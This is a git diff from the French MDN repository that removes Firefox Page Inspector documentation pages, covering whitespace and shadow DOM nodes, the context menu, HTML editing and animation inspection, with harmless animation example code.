Normalement, ces espaces n'ont aucun effet sur le visuel de la page. Mais en réalité, lorsqu'un navigateur analyse l'HTML, il génère automatiquement des noeuds de texte anonymes pour les éléments qui ne sont pas contenus dans des balises. Cela inclut les espaces (qui après tout, sont un type de texte).

- -

Si ces noeuds autogénérés sont des éléments "en ligne" (inline level), alors les navigateurs leur donneront une hauteur et largeur non nulle. Des espaces étranges entre les éléments apparaitront alors, même si aucun margin ou padding n'est appliqué sur ces éléments.

- -

Depuis Firefox 52, l'Inspecteur affiche ces noeuds d'espaces, afin de pouvoir savoir d'où viennent les espaces dans la mise en page. Ces noeuds sont représentés par un point:  et affichent une infobulle explicative au survol :

- -

- -

Il est possible de trouver une démonstration de ceci à l'adresse : https://mdn.github.io/devtools-examples/whitespace-only-demo/index.html.

- -

Shadow roots

- -

Tous les noeuds shadow roots présents dans le DOM sont exposés par la page HTML, de la même manière que le DOM normal. Le shadow root est représenté par un noeud nommé #shadow-root — il est possible de cliquer sur la flèche d'expansion pour voir le contenu complet du shadow DOM, et le manipuler, exactement comme avec les noeuds DOM normaux. Il existe cependant des limites, il n'est par exemple pas possible de glisser/déposer ou de supprimer des noeuds shadow DOM.

- -

A view of a shadow root shown inside the DOM tree in the Firefox DevTools

- -

Si un shadow DOM contient un élément avec attribut slot ayant été inspiré dans un élément {{htmlelement("slot")}} — voir Flexibilitée ajoutée par les slots pour une explication de l'utilisation de ceux-ci --- cet élément sera affiché à l'intérieur de son élément {{htmlelement("slot")}} correspondant, avec un lien à côté. Cliquer sur ce lien affichera l'élément avec l'attibut slot tel qu'il existe en dehors du shadow DOM

- -

A view of a shadow root shown inside the DOM tree in the Firefox DevTools

- -

Cette fonctionnalité est utile pour trouver la source du contenu d'un élément <slot>

- -
-

Note: L'inspection du Shadow DOM à été implémenté dans Firefox 61, mais est actuellement caché par la préférence dom.webcomponents.shadowdom.enabled. Elle sera activée par défaut lorsque les Web components/Shadow DOM seront disponible dans la plateforme, l'estimation actuelle pour cela est Firefox 63.

-
- - - -

Il est possible d’effectuer des tâches courantes sur un élément spécifique grâce au menu contextuel. Pour ouvrir celui-ci, il suffit de faire un clic droit sur l'élément :

- -

- -

Référence du menu contextuel

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Modifier comme HTMLModifie le code HTML de l'élément.
Copier >> l’intérieur du HTMLCopie le contenu interne à l'élément HTML
Copier >> l’extérieur du HTMLCopie le contenu HTML à l'intérieur par rapport à l'élément courant en incluant la balise de l'élément courant
Copier >> le sélecteur CSSCopie un sélecteur CSS qui sélectionne uniquement l'élément.
Copier >> le chemin CSSCopie un sélecteur CSS qui représente le chemin complet vers l'élément
-

Copier >> le Data-URL de l'image

- 		Copie l'image en tant que data:// URL, si l'élément sélectionné est une image.
Afficher les propriétés DOM -

Ouvre la console scindée et entre la commande "inspect($0)" pour inspecter l'élément actuellement sélectionné.

-
Utiliser dans la console -
-

Nouveau dans Firefox 43

-
- -

Assigne le noeud actuellement sélectionné dans une variable nommée temp0 (ou temp1 si temp0 est déjà utilisée, etc.), puis ouvre la console scindée, vous permettant d'interagir avec ce noeud depuis la ligne de commande.

-
Tout étendre -
-

Nouveau dans Firefox 44

-
- Étend l'élément sélectionné ainsi que tous ses enfants dans l'arbre HTML. C'est l'équivalent d'utiliser la touche Alt  et le bouton pour étendre un élément (le triangle en début de ligne)
Réduire -
-

Nouveau dans Firefox 44

-
- Réduit l'élément sélectionné. C'est l'équivalent du bouton en forme de triangle en début de ligne.
Coller >> à l’intérieur du HTML -

Colle le contenu du presse-papier dans le nœud en tant qu'innerHTML.

-
Coller >> à l’extérieur du HTMLColle le contenu du presse-papier dans le nœud en tant qu'outerHTML.
Coller >> AvantColle le contenu du presse-papier dans le document immédiatement avant le nœud sélectionné.
Coller >> AprèsColle le contenu du presse-papier dans le document immédiatement après le nœud sélectionné.
Coller >> Comme premier nœud enfantColle le contenu du presse-papier dans le document en tant que premier enfant du nœud sélectionné.
Coller >> Comme dernier nœud enfantColle le contenu du presse-papier dans le document en tant que dernier enfant du nœud sélectionné.
Faire défiler la vue jusqu'au noeud -

Fait défiler la page jusqu'a ce que le noeud sélectionné soit visible.

- -

À partir de Firefox 44, il est possible d'utiliser le raccourci clavier S fera la même action.

-
Prendre une capture du noeudPrend une capture du noeud sélectionné. La capture est directement sauvegardée dans votre dossier de téléchargement. Voir Prendre des captures.
Créer un nouveau noeudCrée une balise <div> en dernier enfant de l'élément sélectionné. Voir Insérer des nouveaux noeuds.
Dupliquer le noeud -
-

Nouveau dans Firefox 44

-
- Crée une copie de l'élément sélectionné, et l'insère immédiatement après.
Supprimer le nœudSupprime l'élément
Attributs >> Ajouter un attribut -
-

Nouveau dans Firefox 44

-
- Ajoute un attribut à l'élément.
Attributs >> Modifier l'attribut -
-

Nouveau dans Firefox 44

-
- (seulement quand un attribut est sélectionné) Modifie l'attribut.
Attributs >> Supprimer l'attribut -
-

Nouveau dans Firefox 44

-
- (seulement quand un attribut est sélectionné) Supprime l'attribut.
Attributs >> Copier la valeur de l'attributCopie la valeur de l'attribut
Ouvrir le lien dans un nouvel onglet(seulement quand un lien - comme un attribut href - est sélectionné) Ouvre l'élément dans un nouvel onglet.
Ouvrir dans le Débogueur(seulement quand un lien vers une source JS est sélectionné) Ouvre la source dans le Débogueur.
Ouvrir fichier dans l'éditeur de style(seulement quand un lien vers une source CSS est sélectionné) Ouvre la source dan l'éditeur de style.
Copier l'adresse du lien(seulement quand une URL est sélectionnée) Copie l'URL
:hoverDéfinit la pseudo classe CSS :hover
:activeDéfinit la pseudo classe CSS :active
:focusDéfinit la pseudo classe CSS :focus
- -

Éditer le code HTML

- -

Il est possible d'éditer les éléments HTML directement dans le panneau HTML. Il suffit de double cliquer sur le texte voulu, de le modifier puis d'appuyer sur Entrée. Les modifications sont immédiatement effectives.

- -

Pour éditer le outerHTML, il faut ouvrir le menu contextuel et sélectionner "Modifier comme HTML" . Une boite apparaîtra alors dans le panneau HTML :

- -

Edit HTML directly in the Inspector panel in Firefox 57N'importe quel fragment HTML peut être ajouté ici. Il est par exemple possible de changer les balises de l’élément, d'ajouter de nouvelles balises, de modifier des éléments existants, etc. Les modifications sont effectives dès que vous cliquez en-dehors de la boite

- -

À partir de Firefox 52, lors de l'édition, le menu contextuel est le même que pour le texte modifiable normal :

- -

- -

Copier coller

- -

Il est possible d'utiliser le menu popup pour copier des noeuds dans l'arbre HTML.

- -

Glisser déposer

- -

Il est possible de modifier l'HTML en déplaçant les noeuds dans l'arbre HTML. Il suffit de rester cliqué sur un élément et de le glisser vers le haut ou vers le bas. Lorsque le clic est relâché, l'élément sera inséré à la position voulue.

- -

{{EmbedYouTube("oI-a035nfWk")}}

- -

À partir de Firefox 44, il est possible d'annuler le glisser-déposer en utilisant la touche Esc.

- -

Insérer de nouveaux noeuds

- -
Nouveau dans Firefox 48
- -

À partir de Firefox 48, il y a une icône "+" en haut du panneau :

- -

 

- -

- -

 

- -

Cliquer sur cette icône insère une balise <div> dans le document en tant que dernier enfant de l'élément sélectionné. Il est alors possible de modifier le contenu et le style du noeud, exactement comme n'importe quel autre élément.

- -

{{EmbedYouTube("NG5daffvVZM")}}

- -

L'option "Créer un nouveau noeud" dans le menu contextuel fait la même chose.

- -

Il est à noter que le bouton est désactivé si l'élément sélection est tel qu'ajouter un dernier enfant n'aurait aucun effet (par exemple un <html> ou un <iframe>). Cependant, il est actif dans moments ou il n'est pas valide d'insérer un élément <div>, ( <style> ou <link> par exemple). Dans ces cas, l'élément ajouté est un texte.

diff --git "a/files/fr/outils/inspecteur/comment/examiner_les_\303\251couteurs_d_\303\251v\303\250nements/index.html" "b/files/fr/outils/inspecteur/comment/examiner_les_\303\251couteurs_d_\303\251v\303\250nements/index.html" deleted file mode 100644 index 192e82ef37..0000000000 --- "a/files/fr/outils/inspecteur/comment/examiner_les_\303\251couteurs_d_\303\251v\303\250nements/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Examiner les écouteurs d'évènements -slug: Outils/Inspecteur/Comment/Examiner_les_écouteurs_d_évènements -tags: - - Guide - - Inspector - - Tools -translation_of: Tools/Page_Inspector/How_to/Examine_event_listeners ---- -
{{ToolsSidebar}}
- -

L'inspecteur affiche dans le panneau HTML le mot "event" à côté des éléments qui ont un écouteur lié :

- -

 

- -

- -

 

- -

Cliquer sur cette icône fera apparaitre une pop-up listant tous les écouteurs liés à cet élément :

- -

Chaque ligne contient :

- -
    -
  • Une flèche droite. Cliquer dessus étend la ligne et affiche le code source de la fonction de l'écouteur.
    • -
  • Le nom de l'évènement.
    • -
  • Le nom du fichier et le numéro de ligne où se trouve l'écouteur : cliquer fera apparaitre la fonction de l'écouteur dans la pop-up.
    • -
  • Une flèche courbée. Cliquer dessus affiche le code de l'handler dans le Débogueur
    • -
  • Une indication pour savoir si l'évènement se propage ("bubbles") ou non.
    • -
  • Une indication qui affiche le système qui définit l'évènement. Firefox peut afficher : - -
    • -
diff --git a/files/fr/outils/inspecteur/comment/index.html b/files/fr/outils/inspecteur/comment/index.html deleted file mode 100644 index 3d3e1418dc..0000000000 --- a/files/fr/outils/inspecteur/comment/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Comment faire… -slug: Outils/Inspecteur/Comment -translation_of: Tools/Page_Inspector/How_to ---- -
{{ToolsSidebar}}
- -

Cette page présente différents "Comment faire ?" pour l'Inspecteur, décrivant des techniques avancées.

- -

{{ ListSubpages () }}

diff --git "a/files/fr/outils/inspecteur/comment/inspecter_et_s\303\251lectionner_des_couleurs/index.html" "b/files/fr/outils/inspecteur/comment/inspecter_et_s\303\251lectionner_des_couleurs/index.html" deleted file mode 100644 index 93e353dff0..0000000000 --- "a/files/fr/outils/inspecteur/comment/inspecter_et_s\303\251lectionner_des_couleurs/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Inspecter et sélectionner des couleurs -slug: Outils/Inspecteur/Comment/Inspecter_et_sélectionner_des_couleurs -translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors ---- -
{{ToolsSidebar}}

Dans l'onglet "Règles" du panneau CSS, si une règle contient une valeur de couleur, un aperçu de cette couleur sera affiché à côté de la valeur :

- -

- -

Cliquer sur cet aperçu ouvre un sélecteur de couleur, permettant de changer la couleur :

- -

- -

Le sélecteur de couleur inclut une icône en forme de pipette. Cliquer sur cette icône permet de sélectionner une nouvelle couleur depuis la page :

- -

{{EmbedYouTube("0Zx1TN21QOo")}}

- -

À partir de Firefox 40, cliquer sur l'aperçu tout en maintenant la touche Maj enfoncée change le format de couleur :

- -

{{EmbedYouTube("gYL8-gxc1MA")}}

- -

Depuis sa version 53, Firefox supporte les valeurs de couleurs CSS "level 4".

diff --git a/files/fr/outils/inspecteur/comment/ouvrir_l_inspecteur/index.html b/files/fr/outils/inspecteur/comment/ouvrir_l_inspecteur/index.html deleted file mode 100644 index 6e8f25c1b1..0000000000 --- a/files/fr/outils/inspecteur/comment/ouvrir_l_inspecteur/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Ouvrir l'inspecteur -slug: Outils/Inspecteur/Comment/Ouvrir_l_Inspecteur -tags: - - Guide - - Inspecteur - - Tools -translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector ---- -
{{ToolsSidebar}}
- -

Il y a deux façons principales d’ouvrir l'inspecteur :

- -
    -
  • Sans élément sélectionné : cliquer sur l'option "Inspecteur" du menu "Développement", ou bien utiliser le raccourci clavier correspondant (Ctrl + Maj + C)
    • -
  • Avec un élément sélectionné : faire un clic droit sur un élément et sélectionner "Examiner l'élément"
    • -
- -

L'inspecteur s’ouvrira alors dans votre navigateur :

- -

The all-new Inspector in Firefox 57 DevTools.

- -

Il est également possible de le faire apparaitre à gauche :

- -

- -

Ou à droite :

- -

- -

Ou dans une fenêtre séparée :

- -

- -

La visite guidée de l'interface utilisateur peut vous aider à vous repérer dans l'inspecteur.

diff --git "a/files/fr/outils/inspecteur/comment/pr\303\251visualiser_des_images_de_fond/index.html" "b/files/fr/outils/inspecteur/comment/pr\303\251visualiser_des_images_de_fond/index.html" deleted file mode 100644 index 9d6bdb09e4..0000000000 --- "a/files/fr/outils/inspecteur/comment/pr\303\251visualiser_des_images_de_fond/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Prévisualiser des images de fond -slug: Outils/Inspecteur/Comment/Prévisualiser_des_images_de_fond -translation_of: Tools/Page_Inspector/How_to/View_background_images ---- -
{{ToolsSidebar}}

Dans l'onglet des règles, il est possible de prévisualiser les images spécifiées avec la propriété background-image. Il suffit de survoler cette règle :

- -

- -

Depuis Firefox 41, lors d'un clic-droit sur la déclaration de l'image, il y a une option pour copier l'image en tant que data URL :

- -

diff --git a/files/fr/outils/inspecteur/comment/reposition_elements_in_the_page/index.html b/files/fr/outils/inspecteur/comment/reposition_elements_in_the_page/index.html deleted file mode 100644 index 1d640ebf74..0000000000 --- a/files/fr/outils/inspecteur/comment/reposition_elements_in_the_page/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Repositionner des éléments dans la page -slug: Outils/Inspecteur/Comment/Reposition_elements_in_the_page -translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page ---- -
{{ToolsSidebar}}
Nouveau dans Firefox 48
- -

A partir de Firefox 48; il est possible de déplacer les élément positionnés en absolu en les glissant dans la page.

- -

{{EmbedYouTube("Or5HM1FFhvE")}}

- -

Si un élément a sa propriété {{cssxref("position")}} mise à absolute, relative ou fixed et une ou plus des propriétés {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, alors la vue "Modèle de boîte" affiche un bouton :

- -

- -

Cliquer sur ce bouton fera apparaitre deux poignées à coté de l'élément :

- -

Example for changing the position of an element within the content

- -

Il est alors possible d'utiliser ces poignées pour déplacer l’élément dans la page.

- -

Si l’élément est positionné en absolu, des lignes pointillées apparaissent pour représenter le décalage par rapport au parent. Pour les éléments positionnés en relatif, elles représentent la position d'origine du nœud. les distances sont affichés par des infobulles pour chaque coté.

diff --git a/files/fr/outils/inspecteur/comment/select_and_highlight_elements/index.html b/files/fr/outils/inspecteur/comment/select_and_highlight_elements/index.html deleted file mode 100644 index b04d2d6e1f..0000000000 --- a/files/fr/outils/inspecteur/comment/select_and_highlight_elements/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Sélectionner et mettre en surbrillance -slug: Outils/Inspecteur/Comment/Select_and_highlight_elements -translation_of: Tools/Page_Inspector/How_to/Select_and_highlight_elements ---- -
{{ToolsSidebar}}

L'élément sélectionné est élément de la page ciblé par l'Inspecteur. Cet élément est affiché dans le panneau HTML et son CSS est affiché dans le panneau CSS.

- -

L'élément en surbrillance est l'élément dans la page en surbrillance avec son modèle de boit d'affiché, ainsi qu'une infobulle avec son tag et sa taille :

- -

- -

Via le menu contextuel

- -

Pour ouvrir l'Inspecteur et sélectionner un élément immédiatement, il suffit d'activer le menu contextuel de n'importe quel élément de la page et de sélectionner "Inspecter l'élément" :

- -

{{EmbedYouTube("db83PCnPiNM")}}

- -

Via le panneau HTML

- -

Lorsque l'Inspecteur est ouvert, survoler un élément listé dans le panneau HTML affichera en surbrillance l'élément correspondant dans la page. Cliquer sur un élément dans le panneau HTML le sélectionne :

- -

{{EmbedYouTube("EojH_vCMesI")}}

- -

Il est également possible d'utiliser les flèches du clavier pour se déplacer dans l'arbre DOM.

- -

Via le sélectionneur de noeuds

- -

Pour sélectionner un élément de la page, il faut activer l'outil en cliquant sur son icône : . Ensuite, survoler un élément de la page l'affichera en surbrillance. Cliquer sur un élément le sélectionne :

- -

{{EmbedYouTube("Ss_fJz0zaxA")}}

diff --git "a/files/fr/outils/inspecteur/comment/s\303\251lectionner_un_\303\251l\303\251ment/index.html" "b/files/fr/outils/inspecteur/comment/s\303\251lectionner_un_\303\251l\303\251ment/index.html" deleted file mode 100644 index 084b33f3be..0000000000 --- "a/files/fr/outils/inspecteur/comment/s\303\251lectionner_un_\303\251l\303\251ment/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Sélectionner un élément -slug: Outils/Inspecteur/Comment/Sélectionner_un_élément -tags: - - Guide - - Inspector - - Tools -translation_of: Tools/Page_Inspector/How_to/Select_an_element ---- -
{{ToolsSidebar}}

L'élément sélectionné est l'élément de la page sélectionné dans l'Inspecteur. Il est affiché dans le panneau HTML et son CSS est affiché dans le panneau CSS.

- -

L'élément en surbrillance est l'élément de la page sur lequel est superposé une image affichant son modèle de boite, ainsi qu'une une infobulle avec son type et sa taille :

- -

- -

Avec le menu contextuel

- -

Pour ouvrir l'Inspecteur et sélectionner immédiatement un élément, il suffit d'ouvrir le menu contextuel sur cet élément (clic droit) puis de sélectionner "Inspecter l'élément" :

- -

{{EmbedYouTube("db83PCnPiNM")}}

- -

Avec le panneau HTML

- -

Lorsque l'inspecteur est ouvert, l'élément survolé par la souris est mis en évidence dans la page. Cliquer sur cet élément le sélectionnera :

- -

{{EmbedYouTube("EojH_vCMesI")}}

- -

Il est également possible d'utiliser les flèches du clavier pour se déplacer dans l'arbre HTML.

- -

Avec le sélectionneur de noeuds

- -

Pour sélectionner un élément dans la page, il est possible d'activer le sélectionneur en cliquant sur son icône ( ) en haut à gauche. Dès lors, chaque élément survolé par la souris sera mis en évidence et cliquer sur un élément le sélectionnera :

- -

{{EmbedYouTube("Ss_fJz0zaxA")}}

- -

Depuis Firefox 52, utiliser la touche Maj  lors du clic sélectionnera l'élément, mais ne fermera pas le sélectioneur (afin de pouvoir sélectionner un autre élément ensuite)

diff --git a/files/fr/outils/inspecteur/comment/utiliser_l_api_de_l_inspecteur/index.html b/files/fr/outils/inspecteur/comment/utiliser_l_api_de_l_inspecteur/index.html deleted file mode 100644 index a870167e19..0000000000 --- a/files/fr/outils/inspecteur/comment/utiliser_l_api_de_l_inspecteur/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Utiliser l'API de l'Inspecteur -slug: Outils/Inspecteur/Comment/Utiliser_l_API_de_l_Inspecteur -tags: - - Inspector - - Reference - - Référence(2) - - Tools -translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API ---- -
{{ToolsSidebar}}
- -

Les modules complémentaires de Firefox peuvent accéder aux objets du contexte chrome://browser/content/devtools/inspector/inspector.xul suivants :

- -

window.inspector

- -

Défini dans inspector-panel.js. Attributs et fonctions :

- -
    -
  • .selection - information sur la sélection de l'inspecteur : -
      -
    • .isNode() - retourne true si la sélection est un nœud.
      • -
    • .node - retourne l'élément de la page
      • -
    • .window - l'objet window de la frame dans laquelle la sélection est.
      • -
    -
    • -
  • .markDirty() - marque la page comme ayant été modifié par l'inspecteur. un avertissement sera affiché en quittant la page, car les changements faits par l'inspecteur sont réécrits au rechargement.
    • -
- -

Événements Bindables :

- -

markuploaded

- -

Appelé quand le panneau de gauche a été rafraichi après un changement de panneau

- -

ready

- -

Appelé au premier markuploaded.

- -

pseudoclass

- -

Appelé après affichage ("toggle") d'une pseudo classe

- -

layout-change

- -

"low-priority change event for things like paint and resize." (évènements de changement basse priorité pour les choses comme paint et resize).

diff --git a/files/fr/outils/inspecteur/comment/utiliser_l_inspecteur_depuis_la_console_web/index.html b/files/fr/outils/inspecteur/comment/utiliser_l_inspecteur_depuis_la_console_web/index.html deleted file mode 100644 index 1b3f3c13b2..0000000000 --- a/files/fr/outils/inspecteur/comment/utiliser_l_inspecteur_depuis_la_console_web/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Utiliser l'Inspecteur depuis la Console Web -slug: Outils/Inspecteur/Comment/Utiliser_l_Inspecteur_depuis_la_Console_Web -tags: - - Guide - - Inspector - - Tools -translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console ---- -
{{ToolsSidebar}}
- -

L'élément qui est sélectionné dans l'Inspecteur peut être référencé dans la Console Web en utilisant la variable $0 :

- -

Les éléments DOM dans la Console Web ont une icône en forme de cible à côté d'eux. Survoler cette icône met l'élément en surbrillance. Cliquer sur cette icône sélectionne l'élément dans l'Inspecteur :

- -

diff --git a/files/fr/outils/inspecteur/comment/visualiser_les_transformations/index.html b/files/fr/outils/inspecteur/comment/visualiser_les_transformations/index.html deleted file mode 100644 index a00bd795b5..0000000000 --- a/files/fr/outils/inspecteur/comment/visualiser_les_transformations/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Visualiser les transformations -slug: Outils/Inspecteur/Comment/Visualiser_les_transformations -tags: - - Guide - - Inspector - - Tools -translation_of: Tools/Page_Inspector/How_to/Visualize_transforms ---- -
{{ToolsSidebar}}
- -

Visualiser les transformations

- -

Survoler une propriété transform dans l'onglet des règles, fera apparaitre la transformation dans la page :

diff --git a/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html b/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html deleted file mode 100644 index a5c09e4f45..0000000000 --- a/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Inspecteur d'animations (Firefox 41 et 42) -slug: >- - Outils/Inspecteur/Comment/Work_with_animations/Animation_inspector_(Firefox_41_and_42) -translation_of: >- - Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42) ---- -
{{ToolsSidebar}}
- -
-

Il est à noter que l'interface utilisateur de l'inspecteur d'animations a été refaite dans Firefox 43. Pour voir à quoi ressemble cette nouvelle interface, consultez la page : "Travailler avec des animations".

-
- -

L’inspecteur d'animations permet de :

- -
    -
  • Voir des informations sur toutes les animations fonctionnant dans la page.
    • -
  • Démarrer/stopper toutes les animations
    • -
  • Démarrer/arrêter/rembobiner/avancer rapidement chaque animation
    • -
  • Aller à un point spécifique de l'animation
    • -
  • Mettre en surbrillance et inspecter le noeud animé
    • -
  • Ajuster la vitesse de chaque animation
    • -
  • Voir si une animation tourne dans le compositor thread (une icône en forme d'éclair est affichée à côté des animations dans ce cas)
    • -
- -

{{EmbedYouTube("0vSIuKaqD8o")}}

diff --git a/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html b/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html deleted file mode 100644 index 929963fa4a..0000000000 --- a/files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: 'Exemple d''inspecteur d''animations : Web Animations API' -slug: >- - Outils/Inspecteur/Comment/Work_with_animations/Animation_inspector_example:_Web_Animations_API -translation_of: >- - Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_Web_Animations_API ---- -
{{ToolsSidebar}}

logo-animation-Firefox

- -

Exemple d'animation utilisant la Web Animations API.

- -

Contenu HTML

- -
<div class="channel">
-   <img src="https://mdn.mozillademos.org/files/11827/developer.png" id="icon"/>
-   <span id="note">Firefox Developer Edition</span>
-</div>
- -

Contenu CSS

- -
.channel {
-  padding: 2em;
-  margin: 0.5em;
-  box-shadow: 1px 1px 5px #808080;
-  margin: 1.5em;
-}
-
-.channel > * {
-  vertical-align: middle;
-  line-height: normal;
-}
-
-#icon {
-  width: 50px;
-  height: 50px;
-  filter: grayscale(100%);
-}
-
-#note {
-  margin-left: 1em;
-  font: 1.5em "Open Sans",Arial,sans-serif;
-  overflow: hidden;
-  white-space: nowrap;
-  display: inline-block;
-  opacity: 0;
-  width: 0;
-}
-
- -

Contenu JavaScript

- -
var iconKeyframeSet = [
-  { transform: 'scale(1)', filter: 'grayscale(100%)'},
-  { filter:  'grayscale(100%)', offset: 0.333},
-  { transform: 'scale(1.5)', offset: 0.666 },
-  { transform: 'scale(1.5)', filter: 'grayscale(0%)'}
-];
-
-var noteKeyframeSet = [
-  { opacity: '0', width: '0'},
-  { opacity: '1', width: '300px'}
-];
-
-var iconKeyframeOptions = {
-  duration: 750,
-  fill: 'forwards',
-  easing: 'ease-in',
-  endDelay: 100
-}
-
-var noteKeyframeOptions = {
-  duration: 500,
-  fill: 'forwards',
-  easing: 'ease-out',
-  delay: 150
-}
-
-var icon = document.getElementById("icon");
-var note = document.getElementById("note");
-
-var iconAnimation = icon.animate(iconKeyframeSet, iconKeyframeOptions);
-var noteAnimation = note.animate(noteKeyframeSet, noteKeyframeOptions);
-
-iconAnimation.pause();
-noteAnimation.pause();
-
-var firstTime = true;
-
-function animateChannel(e) {
-  if (e.button != 0) {
-    return;
-  }
-  if (e.target.id != "icon") {
-    return;
-  }
-  if (firstTime) {
-    iconAnimation.play();
-    noteAnimation.play();
-    firstTime = false;
-  } else {
-    iconAnimation.reverse();
-    noteAnimation.reverse();
-  }
-}
-
-document.addEventListener("click", animateChannel);
-
diff --git a/files/fr/outils/inspecteur/comment/work_with_animations/animations_examples/index.html b/files/fr/outils/inspecteur/comment/work_with_animations/animations_examples/index.html deleted file mode 100644 index 6d6ea21654..0000000000 --- a/files/fr/outils/inspecteur/comment/work_with_animations/animations_examples/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Exemples d'animations -slug: Outils/Inspecteur/Comment/Work_with_animations/Animations_examples -translation_of: >- - Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_CSS_transitions ---- -
{{ToolsSidebar}}

firefox-logo-animation

- -

Exemples d'animations utilisant les transitions CSS.

- -

Contenu HTML

- -
<div class="channel">
-  <img src="https://mdn.mozillademos.org/files/11827/developer.png" class="icon"/>
-  <span class="note">Firefox Developer Edition</span>
-</div>
- -

Contenu CSS

- -
.channel {
-  padding: 2em;
-  margin: 0.5em;
-  box-shadow: 1px 1px 5px #808080;
-  margin: 1.5em;
-}
-
-.channel > * {
-  vertical-align: middle;
-  line-height: normal;
-}
-
-.icon {
-  width: 50px;
-  height: 50px;
-  filter: grayscale(100%);
-  transition: transform 750ms ease-in, filter 750ms ease-in-out;
-}
-
-.note {
-  margin-left: 1em;
-  font: 1.5em "Open Sans",Arial,sans-serif;
-  overflow: hidden;
-  white-space: nowrap;
-  display: inline-block;
-
-  opacity: 0;
-  width: 0;
-  transition: opacity 500ms 150ms, width 500ms 150ms;
-}
-
-.icon#selected {
-  filter: grayscale(0%);
-  transform: scale(1.5);
-}
-
-.icon#selected+span {
-  opacity: 1;
-  width: 300px;
-}
-
- -

Contenu JavaScript

- -
function toggleSelection(e) {
-  if (e.button != 0) {
-    return;
-  }
-  if (e.target.classList.contains("icon")) {
-    var wasSelected = (e.target.getAttribute("id") == "selected");
-    clearSelection();
-    if (!wasSelected) {
-      e.target.setAttribute("id", "selected");
-    }
-  }
-}
-
-function clearSelection() {
-  var selected = document.getElementById("selected");
-  if (selected) {
-    selected.removeAttribute("id");
-  }
-}
-
-document.addEventListener("click", toggleSelection);
diff --git a/files/fr/outils/inspecteur/comment/work_with_animations/index.html b/files/fr/outils/inspecteur/comment/work_with_animations/index.html deleted file mode 100644 index 0bbcab5957..0000000000 --- a/files/fr/outils/inspecteur/comment/work_with_animations/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: travailler avec les animations -slug: Outils/Inspecteur/Comment/Work_with_animations -tags: - - Guide - - Inspecteur - - Outils -translation_of: Tools/Page_Inspector/How_to/Work_with_animations ---- -
{{ToolsSidebar}}
- -

Cet article couvre trois outils que vous pouvez utilisez pour visualiser et éditer des animations:

- - - -

Animation inspector

- -

The Page Inspector's Animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.

- -

It displays animations created using CSS transitions, CSS @keyframes rules, or the Web Animations API. Starting in Firefox 48, it will show animations applied to the ::before and ::after pseudo-elements.

- -

To see how it works, we'll walk through an example. The box below contains a grayscale icon, representing Firefox Developer Edition. If you click the icon, it enlarges and changes to color, and the name of the browser appears. Click the icon again to reverse the effect.

- -

{{ EmbedLiveSample('firefox-logo-animation', 500, 200, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_Web_Animations_API") }}

- -

These animations are made using the Web Animations API.

- -

Let's use the animation inspector to see what's going on in this example.

- -
    -
  1. Right-click in the box and select "Inspect Element"
    2. -
  2. Make sure the selected element is the <div class="channel">
    3. -
  3. Switch over to the "Animations" tab
    4. -
  4. Play the animation
    5. -
- -

{{EmbedYouTube("XmKeAKryE5I")}}

- -

Let's take a closer look at the contents of the animation inspector here:

- -

- -

It shows a synchronized timeline for every animation applied to the selected element or its children. The timeline starts at the start of the first animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (this depends on the time scale of the animations currently displayed).

- -

Animation bars

- -

Each animation or transition is shown as a horizontal bar laid across the timeline. The bar is:

- - - -

The bar contains a lightning bolt icon if the property was animated using the compositor thread (see more about the cost of animating different CSS properties).

- -

The bar is shaped to reflect the easing effect used for the animation. In the example above you can see that the first bar is concave, representing ease-in, and the second is convex, representing ease-out.

- -

If the animation used CSS transitions, there is one bar for each property transitioned, and it is labeled with the name of the property being transitioned. If the animation used CSS @keyframes, there is one bar for each animation, labeled with its name.

- -

If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar. delay and endDelay are both represented.

- -

If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition, including:

- -
    -
  • the type of animation: CSS transition, CSS animation, or Web Animations API
    • -
  • the duration of the animation
    • -
  • the animation's start and end delay
    • -
  • the animation's easing (or timing function).
    • -
  • the animation's fill
    • -
  • the Playback rate of the animation
    • -
- -

- -

Information about the animated element

- -

